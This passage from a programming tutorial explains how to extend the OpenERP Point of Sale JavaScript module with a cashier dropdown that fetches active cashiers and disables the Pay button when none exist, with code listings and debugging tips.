<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>choose_receipt_popup<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">.point-of-sale</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>error_negative_price_popup <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">ErrorNegativePricePopupWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>error_negative_price_popup<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">.point-of-sale</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">--------</code><code class="javascript_comment2"> </code><code class="javascript_comment2"> </code><code class="javascript_comment2">Misc</code><code class="javascript_comment2"> </code><code class="javascript_comment2">---------</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>notification <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">SynchNotificationWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code><code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>notification<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">#rightheader</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>username <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">UsernameWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code><code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>username<code class="javascript_operator">.</code><code class="javascript_function">replace</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">.placeholder-UsernameWidget</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>action_bar <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">ActionBarWidget</code>(<code class="javascript_literal2">this</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>action_bar<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">"</code><code class="javascript_literal1">.point-of-sale</code><code class="javascript_literal1"> </code><code class="javascript_literal1">#rightpane</code><code class="javascript_literal1">"</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>left_action_bar <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">ActionBarWidget</code>(<code class="javascript_literal2">this</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>left_action_bar<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">"</code><code class="javascript_literal1">.point-of-sale</code><code class="javascript_literal1"> </code><code class="javascript_literal1">#leftpane</code><code class="javascript_literal1">"</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>gotopay <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">GoToPayWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>gotopay<code class="javascript_operator">.</code><code class="javascript_function">replace</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">#placeholder-GoToPayWidget</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>paypad <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">PaypadWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>paypad<code class="javascript_operator">.</code><code class="javascript_function">replace</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">#placeholder-PaypadWidget</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>numpad <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">NumpadWidget</code>(<code class="javascript_literal2">this</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>numpad<code class="javascript_operator">.</code><code class="javascript_function">replace</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">#placeholder-NumpadWidget</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>order_widget <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">OrderWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>order_widget<code class="javascript_operator">.</code><code class="javascript_function">replace</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">#placeholder-OrderWidget</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>onscreen_keyboard <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">OnscreenKeyboardWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code>
<code class="javascript_literal1">'</code><code class="javascript_literal1">keyboard_model</code><code class="javascript_literal1">'</code><code class="javascript_operator">:</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">simple</code><code class="javascript_literal1">'</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>onscreen_keyboard<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">"</code><code class="javascript_literal1">.point-of-sale</code><code class="javascript_literal1"> </code><code class="javascript_literal1">#content</code><code class="javascript_literal1">"</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>close_button <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">HeaderButtonWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code><code class="javascript_operator">{</code>
<code class="javascript_label">label</code>: <code class="javascript_function">_t</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">Close</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">,</code>
<code class="javascript_label">action</code>: <code class="javascript_keyword1">function</code>()<code class="javascript_operator">{</code> self<code class="javascript_operator">.</code><code class="javascript_function">try_close</code>()<code class="javascript_operator">;</code> <code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>close_button<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">#rightheader</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>client_button <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">HeaderButtonWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code><code class="javascript_operator">{</code>
<code class="javascript_label">label</code>: <code class="javascript_function">_t</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">Self-Checkout</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">,</code>
<code class="javascript_label">action</code>: <code class="javascript_keyword1">function</code>()<code class="javascript_operator">{</code> self<code class="javascript_operator">.</code>screen_selector<code class="javascript_operator">.</code><code class="javascript_function">set_user_mode</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">client</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">;</code> <code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>client_button<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">#rightheader</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">--------</code><code class="javascript_comment2"> </code><code class="javascript_comment2"> </code><code class="javascript_comment2">Screen</code><code class="javascript_comment2"> </code><code class="javascript_comment2">Selector</code><code class="javascript_comment2"> </code><code class="javascript_comment2">---------</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>screen_selector <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">ScreenSelector</code>(<code class="javascript_operator">{</code>
<code class="javascript_label">pos</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">,</code>
<code class="javascript_label">screen_set</code>:<code class="javascript_operator">{</code>
<code class="javascript_literal1">'</code><code class="javascript_literal1">products</code><code class="javascript_literal1">'</code><code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>product_screen<code class="javascript_operator">,</code>
<code class="javascript_literal1">'</code><code class="javascript_literal1">payment</code><code class="javascript_literal1">'</code> <code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>payment_screen<code class="javascript_operator">,</code>
<code class="javascript_literal1">'</code><code class="javascript_literal1">client_payment</code><code class="javascript_literal1">'</code> <code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>client_payment_screen<code class="javascript_operator">,</code>
<code class="javascript_literal1">'</code><code class="javascript_literal1">scale_invite</code><code class="javascript_literal1">'</code> <code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>scale_invite_screen<code class="javascript_operator">,</code>
<code class="javascript_literal1">'</code><code class="javascript_literal1">scale</code><code class="javascript_literal1">'</code><code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>scale_screen<code class="javascript_operator">,</code>
<code class="javascript_literal1">'</code><code class="javascript_literal1">receipt</code><code class="javascript_literal1">'</code> <code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>receipt_screen<code class="javascript_operator">,</code>
<code class="javascript_literal1">'</code><code class="javascript_literal1">welcome</code><code class="javascript_literal1">'</code> <code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>welcome_screen<code class="javascript_operator">,</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">popup_set</code>:<code class="javascript_operator">{</code>
<code class="javascript_literal1">'</code><code class="javascript_literal1">help</code><code class="javascript_literal1">'</code><code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>help_popup<code class="javascript_operator">,</code>
<code class="javascript_literal1">'</code><code class="javascript_literal1">error</code><code class="javascript_literal1">'</code><code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>error_popup<code class="javascript_operator">,</code>
<code class="javascript_literal1">'</code><code class="javascript_literal1">error-product</code><code class="javascript_literal1">'</code><code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>error_product_popup<code class="javascript_operator">,</code>
<code class="javascript_literal1">'</code><code class="javascript_literal1">error-session</code><code class="javascript_literal1">'</code><code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>error_session_popup<code class="javascript_operator">,</code>
<code class="javascript_literal1">'</code><code class="javascript_literal1">error-negative-price</code><code class="javascript_literal1">'</code><code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>error_negative_price_popup<code class="javascript_operator">,</code>
<code class="javascript_literal1">'</code><code class="javascript_literal1">choose-receipt</code><code class="javascript_literal1">'</code><code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>choose_receipt_popup<code class="javascript_operator">,</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">default_client_screen</code>: <code class="javascript_literal1">'</code><code class="javascript_literal1">welcome</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code>
<code class="javascript_label">default_cashier_screen</code>: <code class="javascript_literal1">'</code><code class="javascript_literal1">products</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code>
<code class="javascript_label">default_mode</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">.</code>iface_self_checkout <code class="javascript_operator">?</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">client</code><code class="javascript_literal1">'</code> <code class="javascript_operator">:</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">cashier</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_keyword1">if</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">.</code>debug)<code class="javascript_operator">{</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>debug_widget <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">DebugWidget</code>(<code class="javascript_literal2">this</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>debug_widget<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">#content</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
</code></pre>
</div>
<div class="imgtext-warning">
You will notice that the statements or functions within the module are separated by a comma. </div>
First, we declare the template that will be used for the module.<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e19929">
template<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e19929" onclick="selectionCode('contenuCoded0e19929');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e19929"> <code class="javascript_label">template</code>: <code class="javascript_literal1">'</code><code class="javascript_literal1">PosWidget</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code>
</code></pre>
</div>
This means that when the module is loaded, it is also made to the <b>PosWidget</b> view, which we will study further.<br /><br />
We will then create a function that will allow to retrieve the ID of the Point Of Sale and then get cashiers who belong to this Point Of Sale.<br />
<a href="http://www.blogger.com/null" id="gcpci"> </a>
<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e19955">
get_cur_pos_config_id()<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e19955" onclick="selectionCode('contenuCoded0e19955');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e19955">
<code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">recuperation</code><code class="javascript_comment2"> </code><code class="javascript_comment2">de</code><code class="javascript_comment2"> </code><code class="javascript_comment2">l'ID</code><code class="javascript_comment2"> </code><code class="javascript_comment2">du</code><code class="javascript_comment2"> </code><code class="javascript_comment2">POS</code>
<code class="javascript_label">get_cur_pos_config_id</code>: <code class="javascript_keyword1">function</code>()<code class="javascript_operator">{</code>
<code class="javascript_keyword1">var</code> self <code class="javascript_operator">=</code> <code class="javascript_literal2">this</code><code class="javascript_operator">;</code>
<code class="javascript_keyword1">var</code> config <code class="javascript_operator">=</code> self<code class="javascript_operator">.</code>pos<code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">pos_config</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">;</code>
<code class="javascript_keyword1">var</code> config_id <code class="javascript_operator">=</code> <code class="javascript_literal2">null</code><code class="javascript_operator">;</code>
<code class="javascript_keyword1">if</code>(config)<code class="javascript_operator">{</code>
config_id <code class="javascript_operator">=</code> config<code class="javascript_operator">.</code>id<code class="javascript_operator">;</code>
<code class="javascript_keyword1">return</code> config_id<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>
<code class="javascript_keyword1">return</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">'</code><code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
</code></pre>
</div>
This function uses the <b>pos.get() </b>function that was defined in the original module.<br />
When a function belongs to the original Point Of Sale Module, it is writen like this : <b>pos.the_function()</b>. If a record is found, it returns the ID of the POS currently used.<br />
We will then add a function that I grabbed from another module. This function allows to make a query to a table of the database.<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e20089">
fetch()<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e20089" onclick="selectionCode('contenuCoded0e20089');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e20089"> <code class="javascript_label">fetch</code>: <code class="javascript_keyword1">function</code>(model<code class="javascript_operator">,</code> fields<code class="javascript_operator">,</code> domain<code class="javascript_operator">,</code> ctx)<code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> <code class="javascript_keyword1">new</code> instance<code class="javascript_operator">.</code>web<code class="javascript_operator">.</code><code class="javascript_function">Model</code>(model)<code class="javascript_operator">.</code><code class="javascript_function">query</code>(fields)<code class="javascript_operator">.</code><code class="javascript_function">filter</code>(domain)<code class="javascript_operator">.</code><code class="javascript_function">context</code>(ctx)<code class="javascript_operator">.</code><code class="javascript_function">all</code>()
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
</code></pre>
</div>
With the correct settings, you can get the data from the table. We will see this later.<br />
We will then create a function that will be called from the POS interface (when onchange() event of the cashiers list, for example).<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e20155">
cashier_change()<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e20155" onclick="selectionCode('contenuCoded0e20155');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e20155">
<code class="javascript_label">cashier_change</code>: <code class="javascript_keyword1">function</code>(name)<code class="javascript_operator">{</code>
globalCashier <code class="javascript_operator">=</code> name<code class="javascript_operator">;</code>
$(<code class="javascript_literal1">'</code><code class="javascript_literal1">#pay-screen-cashier-name</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">html</code>(name)<code class="javascript_operator">;</code>
<code class="javascript_comment2">//</code><code class="javascript_comment2">console.log('cashier_change</code><code class="javascript_comment2"> </code><code class="javascript_comment2">:</code><code class="javascript_comment2"> </code><code class="javascript_comment2">'</code><code class="javascript_comment2"> </code><code class="javascript_comment2">+</code><code class="javascript_comment2"> </code><code class="javascript_comment2">name);</code>
<code class="javascript_keyword1">if</code>(name <code class="javascript_operator">!</code><code class="javascript_operator">=</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">{</code>
$(<code class="javascript_literal1">'</code><code class="javascript_literal1">.gotopay-button</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">removeAttr</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">disabled</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code> <code class="javascript_keyword1">else</code><code class="javascript_operator">{</code>
$(<code class="javascript_literal1">'</code><code class="javascript_literal1">.gotopay-button</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">attr</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">disabled</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">disabled</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
</code></pre>
</div>
<div class="imgtext-idea">
I left you for a special comment:<br /><b>//console.log('cashier_change : ' + name);</b> <br />
If you use Firebug extension, which is very effective for JavaScript debugging, and if you uncomment this line, you will see the message in the Firebug console each time the <b>cashier_change()</b> function will be called .<br />
When you build your personal unit, do not hesitate to use this trick in your JavaScripts, in particular to verify that the functions are executed and your variables do contain the values you expect.<br />
Obviously, you do not forget to remove your <b>console.log()</b> commands or comment them before going into production.<br />
Finally, the last little tip, if you use console.log() by passing an object, you will not forget to use this: <b>console.log(JSON.stringify (myObject));</b></div>
When the function is called, the name of the cashier will be stored in the <b>globalCashier </b>global variable.<br />
Then the cashier's name will also be sent to <b><div id="pay-screen-cashier-name"></div></b> tag which appears on the payment page.<br /><br />
Also, if the cashier's name is empty (so there is no cashier in the Point Of Sale), it will disable the <b>Pay</b> button of the Point Of Sale. No sale must be performed.<br />
<div class="imgtext-info">
<b>A little explanation !</b> <br />
The left side of the Point Of Sale normally displays the keypad and some payment buttons.<br />
There can be as many buttons as you set up payment methods for the Point Of Sale.<br />
To prohibit the sale if no cashier has been created in the Point Of Sale, I moved the payment buttons on the payment page, and instead I put a <b>Pay</b> button.<br />
It is easier to disable one button that is « hard coded » in the view, rather than make a function that disables many payment buttons that are dynamically generated.</div>
<div class="TextAlign-center">
<table border="0" class="tableau" style="border-width: 0px; width: 100%;">
<tbody>
<tr>
<td class="colonne" style="text-align: center;"><a data-rel="lightbox[article]" href="http://www.blogger.com/images/old_numpad.jpg"><img alt="The standart payment interface with several payment buttons" class="ImgCliquable image_verticale" height="325px" src="./images/old_numpad.jpg" width="266px" /></a><br />
The standart payment interface with <br />
several payment buttons</td>
<td class="colonne" style="text-align: center;"><a data-rel="lightbox[article]" href="http://www.blogger.com/images/pos_cashier_list.jpg"><img alt="The payment interface with only one Pay button + the dropdown list of the cashiers" class="ImgCliquable image_verticale" height="325px" src="./images/pos_cashier_list.jpg" width="268px" /></a><br />
The payment interface with only one <b>Pay</b> button<br />
+ the dropdown list of the cashiers</td>
</tr>
</tbody></table>
</div>
We will now add the <b>get_cashiers()</b> function that will retrieve the cashiers from the database and build options of the cashiers drop down list.<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e20381">
get_cashiers()<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e20381" onclick="selectionCode('contenuCoded0e20381');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e20381">
<code class="javascript_label">get_cashiers</code>: <code class="javascript_keyword1">function</code>(config_id)<code class="javascript_operator">{</code>
<code class="javascript_keyword1">var</code> self <code class="javascript_operator">=</code> <code class="javascript_literal2">this</code><code class="javascript_operator">;</code>
<code class="javascript_keyword1">var</code> cashier_list <code class="javascript_operator">=</code> <code class="javascript_operator">[</code><code class="javascript_operator">]</code><code class="javascript_operator">;</code>
<code class="javascript_keyword1">var</code> loaded <code class="javascript_operator">=</code> self<code class="javascript_operator">.</code><code class="javascript_function">fetch</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">pos.cashier</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code><code class="javascript_operator">[</code><code class="javascript_literal1">'</code><code class="javascript_literal1">cashier_name</code><code class="javascript_literal1">'</code><code class="javascript_operator">]</code><code class="javascript_operator">,</code><code class="javascript_operator">[</code><code class="javascript_operator">[</code><code class="javascript_literal1">'</code><code class="javascript_literal1">pos_config_id</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code><code class="javascript_literal1">'</code><code class="javascript_literal1">=</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code> config_id<code class="javascript_operator">]</code><code class="javascript_operator">,</code> <code class="javascript_operator">[</code><code class="javascript_literal1">'</code><code class="javascript_literal1">active</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">=</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code><code class="javascript_literal1">'</code><code class="javascript_literal1">true</code><code class="javascript_literal1">'</code><code class="javascript_operator">]</code><code class="javascript_operator">]</code>)
<code class="javascript_operator">.</code><code class="javascript_function">then</code>(<code class="javascript_keyword1">function</code>(cashiers)<code class="javascript_operator">{</code>
<code class="javascript_keyword1">for</code>(<code class="javascript_keyword1">var</code> i <code class="javascript_operator">=</code> <code class="javascript_digit">0</code><code class="javascript_operator">,</code> len <code class="javascript_operator">=</code> cashiers<code class="javascript_operator">.</code>length<code class="javascript_operator">;</code> i <code class="javascript_operator"><</code> len<code class="javascript_operator">;</code> i<code class="javascript_operator">+</code><code class="javascript_operator">+</code>)<code class="javascript_operator">{</code>
cashier_list<code class="javascript_operator">.</code><code class="javascript_function">push</code>(cashiers<code class="javascript_operator">[</code>i<code class="javascript_operator">]</code><code class="javascript_operator">.</code>cashier_name)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>
<code class="javascript_keyword1">if</code>(cashier_list<code class="javascript_operator">.</code>length <code class="javascript_operator">></code> <code class="javascript_digit">0</code>)<code class="javascript_operator">{</code>
<code class="javascript_keyword1">for</code>(<code class="javascript_keyword1">var</code> i <code class="javascript_operator">=</code> <code class="javascript_digit">0</code><code class="javascript_operator">,</code> len <code class="javascript_operator">=</code> cashier_list<code class="javascript_operator">.</code>length<code class="javascript_operator">;</code> i <code class="javascript_operator"><</code> len<code class="javascript_operator">;</code> i<code class="javascript_operator">+</code><code class="javascript_operator">+</code>)<code class="javascript_operator">{</code>
<code class="javascript_keyword1">var</code> content <code class="javascript_operator">=</code> self<code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">#cashier-select</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">html</code>()<code class="javascript_operator">;</code>
<code class="javascript_keyword1">var</code> new_option <code class="javascript_operator">=</code> <code class="javascript_literal1">'</code><code class="javascript_literal1"><option</code><code class="javascript_literal1"> </code><code class="javascript_literal1">value="</code><code class="javascript_literal1">'</code> <code class="javascript_operator">+</code> cashier_list<code class="javascript_operator">[</code>i<code class="javascript_operator">]</code> <code class="javascript_operator">+</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">"></code><code class="javascript_literal1">'</code> <code class="javascript_operator">+</code> cashier_list<code class="javascript_operator">[</code>i<code class="javascript_operator">]</code> <code class="javascript_operator">+</code> <code class="javascript_literal1">'</code><code class="javascript_literal1"></option>\n</code><code class="javascript_literal1">'</code><code class="javascript_operator">;</code>
self<code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">#cashier-select</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">html</code>(content <code class="javascript_operator">+</code> new_option)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>
self<code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">#AlertNoCashier</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">css</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">display</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">none</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">;</code>
self<code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">#cashier-select</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code>selectedIndex <code class="javascript_operator">=</code> <code class="javascript_digit">0</code><code class="javascript_operator">;</code>
globalCashier <code class="javascript_operator">=</code> cashier_list<code class="javascript_operator">[</code><code class="javascript_digit">0</code><code class="javascript_operator">]</code><code class="javascript_operator">;</code>
self<code class="javascript_operator">.</code><code class="javascript_function">cashier_change</code>(globalCashier)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code> <code class="javascript_keyword1">else</code><code class="javascript_operator">{</code>
<code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">if</code><code class="javascript_comment2"> </code><code class="javascript_comment2">there</code><code class="javascript_comment2"> </code><code class="javascript_comment2">are</code><code class="javascript_comment2"> </code><code class="javascript_comment2">no</code><code class="javascript_comment2"> </code><code class="javascript_comment2">cashier</code>
